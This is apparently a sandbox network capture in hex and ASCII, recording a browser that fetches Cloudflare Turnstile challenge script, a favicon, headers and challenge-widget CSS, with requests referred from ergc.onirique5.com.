2025-03-25 19:31:08 UTC	1369	IN	Data Raw: 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 5a 7c 7c 28 5a 3d 7b 7d 29 29 3b 76 61 72 20 63 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 65 76 65 72 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 61 6e 75 61 6c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 63 65 7c 7c 28 63 65 3d 7b 7d 29 29 3b 76 61 72 20 51 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 6c 77 61 79 73 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 78 65 63 75 74 65 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 6e 74 65 72 61 63 74 69 6f 6e 4f 6e 6c 79 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 51 7c 7c 28 51 3d 7b 7d 29 29 3b 76 61 72 20 6d 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 52 65 6e 64 65 72 3d 22 72 Data Ascii: anual",e.Auto="auto"})(Z\|\|(Z={}));var ce;(function(e){e.Never="never",e.Manual="manual",e.Auto="auto"})(ce\|\|(ce={}));var Q;(function(e){e.Always="always",e.Execute="execute",e.InteractionOnly="interaction-only"})(Q\|\|(Q={}));var me;(function(e){e.Render="r
2025-03-25 19:31:08 UTC	1369	IN	Data Raw: 74 69 6f 6e 20 70 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 4d 2e 4e 6f 72 6d 61 6c 2c 4d 2e 43 6f 6d 70 61 63 74 2c 4d 2e 49 6e 76 69 73 69 62 6c 65 2c 4d 2e 46 6c 65 78 69 62 6c 65 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 76 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 76 61 72 20 4e 72 3d 2f 5e 5b 61 2d 7a 5d 7b 32 2c 33 7d 28 5b 2d 5f 5d 5b 61 2d 7a 5d 7b 32 7d 29 3f 24 2f 69 3b 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 22 61 75 74 6f 22 7c 7c 4e 72 2e 74 65 73 74 28 65 29 Data Ascii: tion pt(e){return L([M.Normal,M.Compact,M.Invisible,M.Flexible],e)}function vt(e){return L(["auto","manual","never"],e)}function mt(e){return L(["auto","manual","never"],e)}var Nr=/^[a-z]{2,3}([-_][a-z]{2})?$/i;function gt(e){return e==="auto"\|\|Nr.test(e)
2025-03-25 19:31:08 UTC	1369	IN	Data Raw: 22 72 6f 2d 72 6f 22 5d 3b 66 75 6e 63 74 69 6f 6e 20 54 74 28 65 2c 74 29 7b 76 61 72 20 61 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 22 3b 69 66 28 74 29 7b 76 61 72 20 6f 3b 61 3d 28 6f 3d 65 5b 22 62 61 73 65 2d 75 72 6c 22 5d 29 21 3d 3d 6e 75 6c 6c 26 26 6f 21 3d 3d 76 6f 69 64 20 30 3f 6f 3a 61 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 2c 68 29 7b 76 61 72 20 73 3d 54 74 28 61 2c 63 29 2c 70 3d 6c 3f 22 68 2f 22 2e 63 6f 6e 63 61 74 28 6c 2c 22 2f 22 29 3a 22 22 2c 5f 3d 68 3f 22 3f 22 2e 63 6f 6e 63 61 74 28 68 29 3a 22 22 2c 41 3d 61 5b 22 66 65 65 64 62 61 63 6b 2d 65 6e 61 62 6c 65 64 22 5d 3d 3d 3d 21 31 3f 22 66 62 44 Data Ascii: "ro-ro"];function Tt(e,t){var a="https://challenges.cloudflare.com";if(t){var o;a=(o=e["base-url"])!==null&&o!==void 0?o:a}return a}function Rt(e,t,a,o,c,l,v,h){var s=Tt(a,c),p=l?"h/".concat(l,"/"):"",_=h?"?".concat(h):"",A=a["feedback-enabled"]===!1?"fbD
2025-03-25 19:31:08 UTC	1369	IN	Data Raw: 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 7c 7c 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 72 65 74 75 72 6e 20 6f 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 63 2c 6f 7d 2c 65 65 28 65 2c 74 29 7d 66 75 6e 63 74 69 6f 6e 20 75 72 28 65 2c 74 29 7b 69 66 28 74 79 70 65 6f 66 20 74 21 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 21 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 77 72 69 74 Data Ascii: .setPrototypeOf\|\|function(o,c){return o.__proto__=c,o},ee(e,t)}function ur(e,t){if(typeof t!="function"&&t!==null)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writ
2025-03-25 19:31:08 UTC	1369	IN	Data Raw: 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 65 65 28 63 2c 6f 29 7d 2c 47 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 73 72 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 26 26 28 46 28 74 29 3d 3d 3d 22 6f 62 6a 65 63 74 22 7c 7c 74 79 70 65 6f 66 20 74 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 3f 74 3a 7a 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 64 72 28 65 29 7b 76 61 72 20 74 3d 42 65 28 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 3d 6c 65 28 65 29 2c 63 3b 69 66 28 74 29 7b 76 61 72 20 6c 3d 6c 65 28 74 68 69 73 29 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 63 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 6f 2c 61 72 67 75 6d 65 6e 74 73 2c 6c 29 7d 65 6c 73 65 20 63 3d 6f 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 Data Ascii: nfigurable:!0}}),ee(c,o)},Ge(e)}function sr(e,t){return t&&(F(t)==="object"\|\|typeof t=="function")?t:ze(e)}function dr(e){var t=Be();return function(){var o=le(e),c;if(t){var l=le(this).constructor;c=Reflect.construct(o,arguments,l)}else c=o.apply(this,ar
2025-03-25 19:31:08 UTC	1369	IN	Data Raw: 74 69 6f 6e 28 65 2c 74 2c 61 29 7b 76 61 72 20 6f 3d 54 74 28 74 2e 70 61 72 61 6d 73 2c 21 31 29 2c 63 3d 22 68 2f 22 2e 63 6f 6e 63 61 74 28 22 62 22 2c 22 2f 22 29 2c 6c 2c 76 2c 68 3d 22 22 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 22 29 2e 63 6f 6e 63 61 74 28 63 2c 22 66 65 65 64 62 61 63 6b 2d 72 65 70 6f 72 74 73 2f 22 29 2e 63 6f 6e 63 61 74 28 58 65 28 65 29 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 74 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 28 76 3d 74 2e 70 61 72 61 6d 73 2e 74 68 65 6d 65 29 21 3d 3d 6e 75 6c 6c 26 26 76 21 3d 3d 76 6f 69 64 20 30 3f 76 3a 74 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 61 29 3b Data Ascii: tion(e,t,a){var o=Tt(t.params,!1),c="h/".concat("b","/"),l,v,h="".concat(o,"/cdn-cgi/challenge-platform/").concat(c,"feedback-reports/").concat(Xe(e),"/").concat(t.displayLanguage,"/").concat((v=t.params.theme)!==null&&v!==void 0?v:t.theme,"/").concat(a);

Timestamp	Bytes transferred	Direction	Data
2025-03-25 19:31:08 UTC	639	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://ergc.onirique5.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 19:31:09 UTC	740	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 19:31:09 GMT Content-Type: image/png Content-Length: 937 Connection: close CF-Cache-Status: HIT Access-Control-Allow-Origin: * Cache-Control: public, max-age=0, must-revalidate ETag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Set-Cookie: __cf_bm=3vf29zJunkn9AaiagUN6qdrqhXo7_E78_VATYHzeuVQ-1742931069-1.0.1.1-LeZrOqNSvP6xtDCRpaHLqtlbUrOhrTnZlyYPpYSU2Jzdur.9gcXZxkYox0Ccc_75zTl2xeG7FBIw_xrjakOCJy59G5On8pjIKtJlJnQPHkU; path=/; expires=Tue, 25-Mar-25 20:01:09 GMT; domain=.developers.cloudflare.com; HttpOnly; Secure; SameSite=None Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 9260d3ad8f1eb4c6-EWR alt-svc: h3=":443"; ma=86400
2025-03-25 19:31:09 UTC	629	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6
2025-03-25 19:31:09 UTC	308	IN	Data Raw: e5 01 1a ae 24 1a 01 0f 82 94 b8 17 10 11 06 de c4 b1 28 5d f1 0e ee 39 df 2c 85 85 09 69 c6 04 d7 c0 65 d0 03 c2 20 04 ce 80 13 a0 09 1c 01 87 e4 9b b0 01 bd 5f 93 b5 e8 ca 40 13 68 01 2f 84 89 fb c2 c4 2e 16 2f 55 32 4e 64 f5 92 e4 8b e6 07 f8 2e f9 a6 f0 55 f2 05 7c 06 9f c0 7b d0 28 16 da cd ad 79 10 09 81 d7 60 0c 7c 04 e3 dc 02 7a 5c cd 06 7a d9 40 0b 6f 35 18 88 e1 2d 98 94 0b 4f f4 54 c6 54 4c 29 af 35 17 1d ce 79 b1 6d 0d 9d ab 96 0f 81 01 7a 5a e3 94 7f d8 81 b3 c7 bc c5 8b 12 f1 3a 1b b8 42 97 8a 69 0a e5 8e 77 ce 82 d2 eb 3f 21 0c f0 f6 6d 2d 78 69 f5 95 1f a6 e7 3b 9c 9e 0f 65 0c 30 c9 41 cc e1 1c 57 c7 7d bf ef 45 a6 b5 88 75 ff 0a ee e7 c8 cf 68 30 4f ad 2f c5 de df 82 55 df 00 6a 41 1d c4 ea 2c 20 a2 f3 7b 0f 28 fc ff 7f b1 f8 dd cf 5f 3d Data Ascii: $(]9,ie _@h/./U2Nd.U\|{(y`\|z\z@o5-OTTL)5ymzZ:Biw?!m-xi;e0AW}Euh0O/UjA, {(_=

Timestamp	Bytes transferred	Direction	Data
2025-03-25 19:31:09 UTC	843	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/9um0h/0x4AAAAAAAkvxTyKLHQmjib-/auto/fbE/new/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Sec-Fetch-Storage-Access: active Referer: https://ergc.onirique5.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 19:31:10 UTC	1297	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 19:31:09 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 28103 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: default-src 'none'; script-src 'nonce-UnpVflLKA8BVzcKo' 'unsafe-eval'; script-src-attr 'none'; worker-src blob:; style-src 'unsafe-inline'; img-src 'self'; connect-src 'self'; frame-src 'self' blob:; child-src 'self' blob:; form-action 'none'; base-uri 'self'; sandbox allow-same-origin allow-scripts allow-popups allow-forms cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA
2025-03-25 19:31:10 UTC	411	IN	Data Raw: 63 72 69 74 69 63 61 6c 2d 63 68 3a 20 53 65 63 2d 43 48 2d 55 41 2d 42 69 74 6e 65 73 73 2c 20 53 65 63 2d 43 48 2d 55 41 2d 41 72 63 68 2c 20 53 65 63 2d 43 48 2d 55 41 2d 4d 6f 62 69 6c 65 2c 20 53 65 63 2d 43 48 2d 55 41 2d 4d 6f 64 65 6c 2c 20 53 65 63 2d 43 48 2d 55 41 2d 50 6c 61 74 66 6f 72 6d 2d 56 65 72 73 69 6f 6e 2c 20 53 65 63 2d 43 48 2d 55 41 2d 46 75 6c 6c 2d 56 65 72 73 69 6f 6e 2d 4c 69 73 74 2c 20 53 65 63 2d 43 48 2d 55 41 2d 50 6c 61 74 66 6f 72 6d 2c 20 53 65 63 2d 43 48 2d 55 41 2c 20 55 41 2d 42 69 74 6e 65 73 73 2c 20 55 41 2d 41 72 63 68 2c 20 55 41 2d 46 75 6c 6c 2d 56 65 72 73 69 6f 6e 2c 20 55 41 2d 4d 6f 62 69 6c 65 2c 20 55 41 2d 4d 6f 64 65 6c 2c 20 55 41 2d 50 6c 61 74 66 6f 72 6d 2d 56 65 72 73 69 6f 6e 2c 20 55 41 2d 50 Data Ascii: critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-P
2025-03-25 19:31:10 UTC	1030	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 22 20 63 6f 6e 74 65 6e 74 3d 22 64 65 66 61 75 6c 74 2d 73 72 63 20 26 23 78 32 37 3b 6e 6f 6e 65 26 23 78 32 37 3b 3b 20 73 63 72 69 70 74 2d 73 72 63 20 26 23 78 32 37 3b 6e 6f 6e 63 65 2d 55 6e 70 56 66 6c 4c 4b 41 38 42 56 7a 63 4b 6f 26 23 78 32 37 3b 20 26 23 78 32 37 3b 75 6e 73 61 66 65 2d Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="x-ua-compatible" content="IE=Edge,chrome=1"> <meta http-equiv="content-security-policy" content="default-src 'none'; script-src 'nonce-UnpVflLKA8BVzcKo' 'unsafe-
2025-03-25 19:31:10 UTC	1369	IN	Data Raw: 6d 65 73 20 66 69 6c 6c 66 61 69 6c 7b 74 6f 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 33 30 70 78 20 30 20 30 20 23 64 65 31 33 30 33 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 69 6c 6c 66 61 69 6c 2d 6f 66 66 6c 61 62 65 6c 7b 74 6f 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 33 30 70 78 20 23 32 33 32 33 32 33 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 69 6c 6c 66 61 69 6c 2d 6f 66 66 6c 61 62 65 6c 2d 64 61 72 6b 7b 74 6f 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 33 30 70 78 20 23 66 66 66 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 73 63 61 6c 65 2d 75 70 2d 63 65 6e 74 65 72 7b 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 2e 30 31 29 7d 74 6f 7b 74 72 61 6e 73 66 6f 72 Data Ascii: mes fillfail{to{box-shadow:inset 0 30px 0 0 #de1303}}@keyframes fillfail-offlabel{to{box-shadow:inset 0 0 0 30px #232323}}@keyframes fillfail-offlabel-dark{to{box-shadow:inset 0 0 0 30px #fff}}@keyframes scale-up-center{0%{transform:scale(.01)}to{transfor
2025-03-25 19:31:10 UTC	1369	IN	Data Raw: 61 6c 69 67 6e 3a 72 69 67 68 74 7d 23 6f 76 65 72 72 75 6e 2d 69 2c 23 73 70 69 6e 6e 65 72 2d 69 7b 61 6e 69 6d 61 74 69 6f 6e 3a 73 70 69 6e 20 35 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 68 65 69 67 68 74 3a 33 30 70 78 3b 77 69 64 74 68 3a 33 30 70 78 7d 23 66 61 69 6c 2d 69 7b 61 6e 69 6d 61 74 69 6f 6e 3a 73 63 61 6c 65 2d 75 70 2d 63 65 6e 74 65 72 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 35 35 2c 2e 30 38 35 2c 2e 36 38 2c 2e 35 33 29 20 62 6f 74 68 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 23 64 65 31 33 30 33 7d 23 66 61 69 6c 2d 69 2c 23 73 75 63 63 65 73 73 2d 69 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 30 25 3b 64 69 73 70 6c 61 79 3a 66 Data Ascii: align:right}#overrun-i,#spinner-i{animation:spin 5s linear infinite;display:flex;height:30px;width:30px}#fail-i{animation:scale-up-center .6s cubic-bezier(.55,.085,.68,.53) both;box-shadow:inset 0 0 0 #de1303}#fail-i,#success-i{border-radius:50%;display:f
2025-03-25 19:31:10 UTC	1369	IN	Data Raw: 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 23 30 61 61 39 33 37 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 3a 23 30 61 61 39 33 37 3b 66 69 6c 6c 3a 23 30 61 61 39 33 37 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 78 70 69 72 65 64 2d 63 69 72 63 6c 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 74 69 6d 65 6f 75 74 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 39 39 39 3b 66 69 6c 6c 3a 23 39 39 39 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 65 78 70 Data Ascii: hadow:inset 0 0 0 #0aa937}.theme-dark .success-circle{stroke:#0aa937;fill:#0aa937}.theme-dark .expired-circle,.theme-dark .timeout-circle{stroke-dasharray:166;stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#999;fill:#999}.theme-dark #exp
2025-03-25 19:31:10 UTC	1369	IN	Data Raw: 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 68 31 7b 63 6f 6c 6f 72 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 7b 63 6f 6c 6f 72 3a 23 66 66 61 32 39 39 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 61 63 74 69 76 65 2c Data Ascii: }.theme-dark h1{color:#fff}.theme-dark #challenge-error-title{color:#ffa299}.theme-dark #challenge-error-title a,.theme-dark #challenge-error-title a:link,.theme-dark #challenge-error-title a:visited{color:#bbb}.theme-dark #challenge-error-title a:active,
2025-03-25 19:31:10 UTC	1369	IN	Data Raw: 65 73 68 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 74 69 6d 65 6f 75 74 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 74 69 6d 65 6f 75 74 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 39 34 39 34 39 34 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6f 76 65 72 6c 61 79 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 66 66 61 32 39 39 3b 63 6f 6c 6f 72 3a 23 66 66 61 32 39 39 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 20 61 3a 6c 69 6e 6b Data Ascii: esh-link:active,.theme-dark #timeout-refresh-link:focus,.theme-dark #timeout-refresh-link:hover{color:#949494}.theme-dark .overlay{border-color:#ffa299;color:#ffa299}.theme-dark .error-message,.theme-dark .error-message a,.theme-dark .error-message a:link
2025-03-25 19:31:10 UTC	1369	IN	Data Raw: 3a 63 68 65 63 6b 65 64 7e 2e 63 62 2d 69 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 70 78 3b 6f 70 61 63 69 74 79 3a 31 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 67 29 20 73 63 61 6c 65 28 31 29 7d 2e 63 62 2d 6c 62 20 69 6e 70 75 74 3a 63 68 65 63 6b 65 64 7e 2e 63 62 2d 69 3a 61 66 74 65 72 7b 62 6f 72 64 65 72 3a 73 6f 6c 69 64 20 23 63 34 34 64 30 65 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 3b 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 30 20 34 70 78 20 34 70 78 20 30 3b 68 65 69 67 68 74 3a 31 32 70 78 3b 6c 65 66 74 3a 35 70 78 3b 74 6f 70 3a 30 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 34 35 64 65 67 29 20 73 63 61 6c 65 28 31 29 3b 77 69 64 Data Ascii: :checked~.cb-i{background-color:#fff;border-radius:5px;opacity:1;transform:rotate(0deg) scale(1)}.cb-lb input:checked~.cb-i:after{border:solid #c44d0e;border-radius:0;border-width:0 4px 4px 0;height:12px;left:5px;top:0;transform:rotate(45deg) scale(1);wid
2025-03-25 19:31:10 UTC	1369	IN	Data Raw: 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 20 73 70 61 63 65 2d 65 76 65 6e 6c 79 3b 76 69 73 69 62 69 6c 69 74 79 3a 76 69 73 69 62 6c 65 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 65 78 70 69 72 65 64 2d 74 65 78 74 2c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 6f 76 65 72 72 75 6e 2d 74 65 78 74 2c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 74 69 6d 65 6f 75 74 2d 74 65 78 74 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 65 78 70 69 72 65 64 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 2c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 74 69 6d 65 6f 75 74 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 2c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 20 61 7b 6d 61 72 67 69 6e 3a 30 Data Ascii: ontent:center space-evenly;visibility:visible}.size-compact #expired-text,.size-compact 